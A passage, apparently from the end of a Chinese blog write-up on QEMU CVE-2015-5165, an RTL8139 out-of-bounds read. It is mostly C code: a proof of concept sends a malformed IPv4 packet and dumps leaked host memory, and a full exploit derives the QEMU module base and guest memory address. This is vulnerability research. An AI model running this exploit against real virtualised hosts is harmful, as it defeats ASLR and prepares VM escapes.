#define CP_RX_BUFFER_SIZE_MASK ((1<<13) - 1)

// Tx ownership flag
#define CP_TX_OWN (1<<31)
// Tx end of ring flag
#define CP_TX_EOR (1<<30)
// last segment of received packet flag
#define CP_TX_LS (1<<28)
// large send packet flag
#define CP_TX_LGSEN (1<<27)
// IP checksum offload flag
#define CP_TX_IPCS (1<<18)
// TCP checksum offload flag
#define CP_TX_TCPCS (1<<16)

// RTL8139 网卡寄存器偏移地址
enum RTL8139_registers
{
TxAddr0 = 0x20, // Tx descriptors address
ChipCmd = 0x37,
TxConfig = 0x40,
RxConfig = 0x44,
TxPoll = 0xD9, // tell chip to check Tx descriptors for work
CpCmd = 0xE0, // C+ Command register (C+ mode only)
// 虽然名字写的 RxRingAddr, 但实际上是 Rx descriptor 的地址
RxRingAddrLO = 0xE4, // 64-bit start addr of Rx descriptor
RxRingAddrHI = 0xE8, // 64-bit start addr of Rx descriptor
};

enum RTL_8139_tx_config_bits
{
TxLoopBack = (1 << 18) | (1 << 17), // enable loopback test mode
};

enum RTL_8139_rx_mode_bits
{
AcceptErr = 0x20,
AcceptRunt = 0x10,
AcceptBroadcast = 0x08,
AcceptMulticast = 0x04,
AcceptMyPhys = 0x02,
AcceptAllPhys = 0x01,
};

enum RTL_8139_CplusCmdBits
{
CPlusRxVLAN = 0x0040, /* enable receive VLAN detagging */
CPlusRxChkSum = 0x0020, /* enable receive checksum offloading */
CPlusRxEnb = 0x0002,
CPlusTxEnb = 0x0001,
};

enum RT8139_ChipCmdBits
{
CmdReset = 0x10,
CmdRxEnb = 0x08,
CmdTxEnb = 0x04,
RxBufEmpty = 0x01,
};

enum RTL8139_TxPollBits
{
CPlus = 0x40,
};

// RTL8139 Rx / Tx descriptor
struct rtl8139_desc
{
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};

// RTL8139 Rx / Tx ring
struct rtl8139_ring
{
struct rtl8139_desc* desc;
void* buffer;
};

uint8_t rtl8139_packet[] =
{
// Ethernet Frame Header 数据
// DST MAC 52:54:00:12:34:57
0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
// SRC MAC 52:54:00:12:34:57
0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
// Length / Type: IPv4
0x08, 0x00,

// Ethernet Frame Payload 数据, 即 IPv4 数据包
// Version & IHL(Internet Header Length)
(0x04 << 4) | 0x05, // 0x05 * 4 = 20 bytes
0x00,
// Total Length = 0x13 = 19 bytes
0x00, 0x13, // 19 - 20 = -1 = 0xFFFF, trigger vulnerability
0xde, 0xad, // Identification
0x40, 0x00, // Flags & Fragment Offset
0x40, // TTL
0x06, // Protocol: TCP
0xde, 0xad, // Header checksum
0x7f, 0x00, 0x00, 0x01, // Source IP: 127.0.0.1
0x7f, 0x00, 0x00, 0x01, // Destination IP: 127.0.0.1

// IP Packet Payload 数据, 即 TCP 数据包
0xde, 0xad, // Source Port
0xbe, 0xef, // Destination Port
0x00, 0x00, 0x00, 0x00, // Sequence Number
0x00, 0x00, 0x00, 0x00, // Acknowledgement Number
0x50, // 01010000, Header Length = 5 * 4 = 20
0x10, // 00010000, ACK
0xde, 0xad, // Window Size
0xde, 0xad, // TCP checksum
0x00, 0x00 // Urgent Pointer
};

uint64_t get_physical_pfn(void* addr)
{
uint64_t pfn = -1;
FILE* fp = fopen("/proc/self/pagemap", "rb");
if (!fp)
{
return pfn;
}

if (!fseek(fp, (unsigned long)addr / PAGE_SIZE * 8, SEEK_SET))
{
fread(&pfn, sizeof(pfn), 1, fp);
if (pfn & PFN_PRESENT)
{
pfn &= PFN_PFN;
}
}
fclose(fp);
return pfn;
}

uint64_t gva_to_gpa(void* addr)
{
uint64_t pfn = get_physical_pfn(addr);
return pfn * PAGE_SIZE + (uint64_t)addr % PAGE_SIZE;
}

void rtl8139_desc_config_rx(rtl8139_ring* ring, rtl8139_desc* desc, size_t nb)
{
size_t buffer_size = RTL8139_BUFFER_SIZE + 4;
for (size_t i = 0; i < nb; ++i)
{
memset(&desc[i], 0, sizeof(desc[i]));
ring[i].desc = &desc[i];

ring[i].buffer = aligned_alloc(PAGE_SIZE, buffer_size);
memset(ring[i].buffer, 0, buffer_size);

// descriptor owned by NIC 准备接收数据
ring[i].desc->dw0 |= CP_RX_OWN;
if (i == nb - 1)
{
ring[i].desc->dw0 |= CP_RX_EOR; // End of Ring
}
ring[i].desc->dw0 &= ~CP_RX_BUFFER_SIZE_MASK;
ring[i].desc->dw0 |= buffer_size; // buffer_size
ring[i].desc->buf_lo = (uint32_t)gva_to_gpa(ring[i].buffer);
}

// Rx descriptors address
outl((uint32_t)gva_to_gpa(desc), RTL8139_PORT + RxRingAddrLO);
outl(0, RTL8139_PORT + RxRingAddrHI);
}

void rtl8139_desc_config_tx(rtl8139_desc* desc, void* buffer)
{
memset(desc, 0, sizeof(rtl8139_desc));
desc->dw0 |= CP_TX_OWN | // descriptor owned by NIC 准备发送数据
CP_TX_EOR |
CP_TX_LS |
CP_TX_LGSEN |
CP_TX_IPCS |
CP_TX_TCPCS;
desc->dw0 += RTL8139_BUFFER_SIZE;
desc->buf_lo = (uint32_t)gva_to_gpa(buffer);
outl((uint32_t)gva_to_gpa(desc), RTL8139_PORT + TxAddr0);
outl(0, RTL8139_PORT + TxAddr0 + 4);
}

void rtl8139_card_config()
{
// 触发漏洞需要设置的一些参数
outl(TxLoopBack, RTL8139_PORT + TxConfig);
outl(AcceptMyPhys, RTL8139_PORT + RxConfig);
outw(CPlusRxEnb | CPlusTxEnb, RTL8139_PORT + CpCmd);
outb(CmdRxEnb | CmdTxEnb, RTL8139_PORT + ChipCmd);
}

void rtl8139_packet_send(void* buffer, void* packet, size_t len)
{
if (len <= RTL8139_BUFFER_SIZE)
{
memcpy(buffer, packet, len);
outb(CPlus, RTL8139_PORT + TxPoll);
}
}

void xxd(uint8_t* ptr, size_t size)
{
for (size_t i = 0, j = 0; i < size; ++i, ++j)
{
if (i % 16 == 0)
{
j = 0;
printf("\n0x%08x: ", ptr + i);
}
printf("%02x ", ptr[i]);
if (j == 7)
{
printf("- ");
}
}
printf("\n");
}

int main(int argc, char** argv)
{
// 44 * RTL8139_BUFFER_SIZE = 44 * 1514 = 66616
// 可以收完 65535 字节数据
size_t rtl8139_rx_nb = 44;
rtl8139_ring* rtl8139_rx_ring = (rtl8139_ring*)aligned_alloc(
PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_ring));
rtl8139_desc* rtl8139_rx_desc = (rtl8139_desc*)aligned_alloc(
PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_desc));
rtl8139_desc* rtl8139_tx_desc = (rtl8139_desc*)aligned_alloc(
PAGE_SIZE, sizeof(struct rtl8139_desc));
void* rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);

// change I/O privilege level
iopl(3);

// initialize Rx ring, Rx descriptor, Tx descriptor
rtl8139_desc_config_rx(rtl8139_rx_ring, rtl8139_rx_desc, rtl8139_rx_nb);
rtl8139_desc_config_tx(rtl8139_tx_desc, rtl8139_tx_buffer);
rtl8139_card_config();
rtl8139_packet_send(rtl8139_tx_buffer, rtl8139_packet,
sizeof(rtl8139_packet));
sleep(2);

// print leaked data
for (size_t i = 0; i < rtl8139_rx_nb; ++i)
{
// RTL8139_BUFFER_SIZE 之后 4 字节数据为 Checksum
// 不打印也无所谓了
xxd((uint8_t*)rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);
}

// TODO: free heap blocks

return 0;
}

运行 PoC 后,在接收到的中间某些数据包中可以看到泄露的数据:

QEMU 漏洞 CVE-2015-5165 PoC

4.5 漏洞利用

Phrack 文章 [1] 漏洞利用的思路为:在泄露的数据中搜索保存了 ObjectProperty 对象的堆块(可能是已经被释放的堆块),通过读取 ObjectProperty 对象中保存的函数指针来泄露模块 qemu-system-x86_64 的基地址。

结构体 ObjectProperty 的定义如下:

#define Q_TAILQ_ENTRY(type, qual)                               \
struct { \
qual type *tqe_next; /* next element */ \
qual type *qual *tqe_prev; /* address of previous next element */\
}
#define QTAILQ_ENTRY(type) Q_TAILQ_ENTRY(struct type,)

typedef struct ObjectProperty
{
gchar *name;
gchar *type;
gchar *description;
ObjectPropertyAccessor *get;
ObjectPropertyAccessor *set;
ObjectPropertyResolve *resolve;
ObjectPropertyRelease *release;
void *opaque;

QTAILQ_ENTRY(ObjectProperty) node;
} ObjectProperty;

这里 get / set / resolve / release 保存的值均为函数指针。

利用步骤:

  1. 结构体 ObjectProperty 的大小为 0x50 字节,因此包含 metadata 的堆块的大小为 0x60 字节,可以根据这一信息去搜索泄露的数据中存在的堆块;
  2. ASLR 不会对地址的低 12 位进行随机化处理,因此可以以相关函数地址的低 12 位为特征进行搜索,以计算出模块 qemu-system-x86_64 的基地址;
  3. 统计泄露的数据中出现的 uint64_t 类型的数据 0x00007FXXYYZZZZZZ ,其中 7FXXYY 出现次数最多的数据,就是 QEMU 虚拟机物理内存的结束地址;

基于前面的 PoC 代码,笔者重写的一份用于测试 CVE-2015-5165 的完整 Exploit 代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <sys/io.h>
#include <inttypes.h>

// 页面相关参数
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

// Ethernet Frame 大小
// DST(6) + SRC(6) + Length/Type(2) + PayloadMTU(1500)
#define RTL8139_BUFFER_SIZE 1514

// RTL8139 网卡 PMIO 地址
#define RTL8139_PORT 0xc000

// Rx ownership flag
#define CP_RX_OWN (1<<31)
// w0 end of ring flag
#define CP_RX_EOR (1<<30)
// Rx buffer size mask 表示 0 ~ 12 位为 buffer size
#define CP_RX_BUFFER_SIZE_MASK ((1<<13) - 1)

// Tx ownership flag
#define CP_TX_OWN (1<<31)
// Tx end of ring flag
#define CP_TX_EOR (1<<30)
// last segment of received packet flag
#define CP_TX_LS (1<<28)
// large send packet flag
#define CP_TX_LGSEN (1<<27)
// IP checksum offload flag
#define CP_TX_IPCS (1<<18)
// TCP checksum offload flag
#define CP_TX_TCPCS (1<<16)

#define CHUNK_COUNT 0x2000
#define CHUNK_SIZE_MASK ~7ull

// RTL8139 网卡寄存器偏移地址
enum RTL8139_registers
{
TxAddr0 = 0x20, // Tx descriptors address
ChipCmd = 0x37,
TxConfig = 0x40,
RxConfig = 0x44,
TxPoll = 0xD9, // tell chip to check Tx descriptors for work
CpCmd = 0xE0, // C+ Command register (C+ mode only)
// 虽然名字写的 RxRingAddr, 但实际上是 Rx descriptor 的地址
RxRingAddrLO = 0xE4, // 64-bit start addr of Rx descriptor
RxRingAddrHI = 0xE8, // 64-bit start addr of Rx descriptor
};

enum RTL_8139_tx_config_bits
{
TxLoopBack = (1 << 18) | (1 << 17), // enable loopback test mode
};

enum RTL_8139_rx_mode_bits
{
AcceptErr = 0x20,
AcceptRunt = 0x10,
AcceptBroadcast = 0x08,
AcceptMulticast = 0x04,
AcceptMyPhys = 0x02,
AcceptAllPhys = 0x01,
};

enum RTL_8139_CplusCmdBits
{
CPlusRxVLAN = 0x0040, /* enable receive VLAN detagging */
CPlusRxChkSum = 0x0020, /* enable receive checksum offloading */
CPlusRxEnb = 0x0002,
CPlusTxEnb = 0x0001,
};

enum RT8139_ChipCmdBits
{
CmdReset = 0x10,
CmdRxEnb = 0x08,
CmdTxEnb = 0x04,
RxBufEmpty = 0x01,
};

enum RTL8139_TxPollBits
{
CPlus = 0x40,
};

// RTL8139 Rx / Tx descriptor
struct rtl8139_desc
{
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};

// RTL8139 Rx / Tx ring
struct rtl8139_ring
{
struct rtl8139_desc* desc;
void* buffer;
};

uint8_t rtl8139_packet[] =
{
// Ethernet Frame Header 数据
// DST MAC 52:54:00:12:34:57
0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
// SRC MAC 52:54:00:12:34:57
0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
// Length / Type: IPv4
0x08, 0x00,

// Ethernet Frame Payload 数据, 即 IPv4 数据包
// Version & IHL(Internet Header Length)
(0x04 << 4) | 0x05, // 0x05 * 4 = 20 bytes
0x00,
// Total Length = 0x13 = 19 bytes
0x00, 0x13, // 19 - 20 = -1 = 0xFFFF, trigger vulnerability
0xde, 0xad, // Identification
0x40, 0x00, // Flags & Fragment Offset
0x40, // TTL
0x06, // Protocol: TCP
0xde, 0xad, // Header checksum
0x7f, 0x00, 0x00, 0x01, // Source IP: 127.0.0.1
0x7f, 0x00, 0x00, 0x01, // Destination IP: 127.0.0.1

// IP Packet Payload 数据, 即 TCP 数据包
0xde, 0xad, // Source Port
0xbe, 0xef, // Destination Port
0x00, 0x00, 0x00, 0x00, // Sequence Number
0x00, 0x00, 0x00, 0x00, // Acknowledgement Number
0x50, // 01010000, Header Length = 5 * 4 = 20
0x10, // 00010000, ACK
0xde, 0xad, // Window Size
0xde, 0xad, // TCP checksum
0x00, 0x00 // Urgent Pointer
};

uint64_t get_physical_pfn(void* addr)
{
uint64_t pfn = -1;
FILE* fp = fopen("/proc/self/pagemap", "rb");
if (!fp)
{
return pfn;
}

if (!fseek(fp, (unsigned long)addr / PAGE_SIZE * 8, SEEK_SET))
{
fread(&pfn, sizeof(pfn), 1, fp);
if (pfn & PFN_PRESENT)
{
pfn &= PFN_PFN;
}
}
fclose(fp);
return pfn;
}

uint64_t gva_to_gpa(void* addr)
{
uint64_t pfn = get_physical_pfn(addr);
return pfn * PAGE_SIZE + (uint64_t)addr % PAGE_SIZE;
}

void rtl8139_desc_config_rx(rtl8139_ring* ring, rtl8139_desc* desc, size_t nb)
{
size_t buffer_size = RTL8139_BUFFER_SIZE + 4;
for (size_t i = 0; i < nb; ++i)
{
memset(&desc[i], 0, sizeof(desc[i]));
ring[i].desc = &desc[i];

ring[i].buffer = aligned_alloc(PAGE_SIZE, buffer_size);
memset(ring[i].buffer, 0, buffer_size);

// descriptor owned by NIC 准备接收数据
ring[i].desc->dw0 |= CP_RX_OWN;
if (i == nb - 1)
{
ring[i].desc->dw0 |= CP_RX_EOR; // End of Ring
}
ring[i].desc->dw0 &= ~CP_RX_BUFFER_SIZE_MASK;
ring[i].desc->dw0 |= buffer_size; // buffer_size
ring[i].desc->buf_lo = (uint32_t)gva_to_gpa(ring[i].buffer);
}

// Rx descriptors address
outl((uint32_t)gva_to_gpa(desc), RTL8139_PORT + RxRingAddrLO);
outl(0, RTL8139_PORT + RxRingAddrHI);
}

void rtl8139_desc_config_tx(rtl8139_desc* desc, void* buffer)
{
memset(desc, 0, sizeof(rtl8139_desc));
desc->dw0 |= CP_TX_OWN | // descriptor owned by NIC 准备发送数据
CP_TX_EOR |
CP_TX_LS |
CP_TX_LGSEN |
CP_TX_IPCS |
CP_TX_TCPCS;
desc->dw0 += RTL8139_BUFFER_SIZE;
desc->buf_lo = (uint32_t)gva_to_gpa(buffer);
outl((uint32_t)gva_to_gpa(desc), RTL8139_PORT + TxAddr0);
outl(0, RTL8139_PORT + TxAddr0 + 4);
}

void rtl8139_card_config()
{
// 触发漏洞需要设置的一些参数
outl(TxLoopBack, RTL8139_PORT + TxConfig);
outl(AcceptMyPhys, RTL8139_PORT + RxConfig);
outw(CPlusRxEnb | CPlusTxEnb, RTL8139_PORT + CpCmd);
outb(CmdRxEnb | CmdTxEnb, RTL8139_PORT + ChipCmd);
}

void rtl8139_packet_send(void* buffer, void* packet, size_t len)
{
if (len <= RTL8139_BUFFER_SIZE)
{
memcpy(buffer, packet, len);
outb(CPlus, RTL8139_PORT + TxPoll);
}
}

void xxd(uint8_t* ptr, size_t size)
{
for (size_t i = 0, j = 0; i < size; ++i, ++j)
{
if (i % 16 == 0)
{
j = 0;
printf("\n0x%08x: ", ptr + i);
}
printf("%02x ", ptr[i]);
if (j == 7)
{
printf("- ");
}
}
printf("\n");
}

size_t scan_leaked_chunks(rtl8139_ring* ring, size_t ring_count,
size_t chunk_size, void** chunks, size_t chunk_count)
{
size_t count = 0;
for (size_t i = 0; i < ring_count; ++i)
{
// Ethernet Frame Header: 14 +
// IP Header: 20 +
// TCP Header: 20 = 54
uint8_t* ptr = (uint8_t*)ring[i].buffer + 56;
uint8_t* end = (uint8_t*)ring[i].buffer + RTL8139_BUFFER_SIZE / 4 * 4;
while (ptr < end)
{
uint64_t size = *(uint64_t*)ptr & CHUNK_SIZE_MASK;
if (size == chunk_size)
{
chunks[count++] = (void*)(ptr + 8);
}
ptr += 4;
if (count > chunk_count)
{
return count;
}
}
}
return count;
}

uint64_t leak_module_base_addr(void** chunks, size_t count)
{
const uint64_t property_get_bool_offset = 0x377F66;
const uint64_t mask = 0x00000FFF;
for (size_t i = 0; i < count; ++i)
{
uint64_t* ptr = (uint64_t*)chunks[i] + 3;
if ((*ptr & mask) == (property_get_bool_offset & mask))
{
printf("property_get_bool: 0x%" PRIx64 "\n", *ptr);
return *ptr - property_get_bool_offset;
}
}
return -1;
}

uint64_t leak_physical_memory_addr(rtl8139_ring* ring, size_t ring_count)
{
const uint64_t mask = 0xffff000000ull;
static unsigned short array[0x10000];
size_t index = 0;
memset(array, 0, sizeof(array));

for (size_t i = 0; i < ring_count; ++i)
{
uint8_t* ptr = (uint8_t*)ring[i].buffer + 56;
uint8_t* end = (uint8_t*)ring[i].buffer + RTL8139_BUFFER_SIZE / 4 * 4;
while (ptr < end - 8)
{
uint64_t value = *(uint64_t*)ptr;
if (((value >> 40) & 0xff) == 0x7f)
{
value = (value & mask) >> 24;
array[value]++;
if (array[value] > array[index])
{
index = value;
}
}
ptr += 4;
}
}

uint64_t memory_size = 0x80000000;
return (((uint64_t)index | 0x7f0000) << 24) - memory_size;
}

int main(int argc, char** argv)
{
// 44 * RTL8139_BUFFER_SIZE = 44 * 1514 = 66616
// 可以收完 65535 字节数据
size_t rtl8139_rx_nb = 44;
rtl8139_ring* rtl8139_rx_ring = (rtl8139_ring*)aligned_alloc(
PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_ring));
rtl8139_desc* rtl8139_rx_desc = (rtl8139_desc*)aligned_alloc(
PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_desc));
rtl8139_desc* rtl8139_tx_desc = (rtl8139_desc*)aligned_alloc(
PAGE_SIZE, sizeof(struct rtl8139_desc));
void* rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);

// change I/O privilege level
iopl(3);

// initialize Rx ring, Rx descriptor, Tx descriptor
rtl8139_desc_config_rx(rtl8139_rx_ring, rtl8139_rx_desc, rtl8139_rx_nb);
rtl8139_desc_config_tx(rtl8139_tx_desc, rtl8139_tx_buffer);
rtl8139_card_config();
rtl8139_packet_send(rtl8139_tx_buffer, rtl8139_packet,
sizeof(rtl8139_packet));
sleep(2);

// print leaked data
for (size_t i = 0; i < rtl8139_rx_nb; ++i)
{
// RTL8139_BUFFER_SIZE 之后 4 字节数据为 Checksum
// 不打印也无所谓了
xxd((uint8_t*)rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);
}

// exploit
void* chunks[CHUNK_COUNT] = { 0 };
size_t chunk_count = scan_leaked_chunks(rtl8139_rx_ring, rtl8139_rx_nb,
0x60, chunks, CHUNK_COUNT);
uint64_t module_addr = leak_module_base_addr(chunks, chunk_count);
printf("qemu-system-x86_64: 0x%" PRIx64 "\n", module_addr);
uint64_t physical_memory_addr = leak_physical_memory_addr(
rtl8139_rx_ring, rtl8139_rx_nb);
printf("physical memory address: 0x%" PRIx64 "\n", physical_memory_addr);

// TODO: free heap blocks

return 0;
}

Exploit 测试结果如下:

QEMU 漏洞 CVE-2015-5165 Exploit

0x05. 分析小结

第一次分析 QEMU 的漏洞,整体感觉还挺有意思的,CVE-2015-5165 这个漏洞本身简单易懂,如果了解网卡基本工作原理的话,Exploit 编写也不是很难。

0x06. 参考文献

[1] http://www.phrack.org/papers/vm-escape-qemu-case-study.html

[2] QEMU commands-posix.c patch - <sys/sysmacros.h>

[3] https://dangokyo.me/2018/03/02/qemu-escape-part-1-environment-set-up/

[4] https://www.realvnc.com/en/connect/download/viewer/

[5] https://shanetully.com/2014/12/translating-virtual-addresses-to-physcial-addresses-in-user-space/

[6] https://www.kernel.org/doc/Documentation/vm/pagemap.txt

[7] TCP/IP Illustrated, Volum 1, The protocols, Second Edition, Kevin R. Fall, W. Richard Stevens

[8] http://realtek.info/pdf/rtl8139cp.pdf

[9] https://www.anquanke.com/post/id/197637

请作者喝杯咖啡☕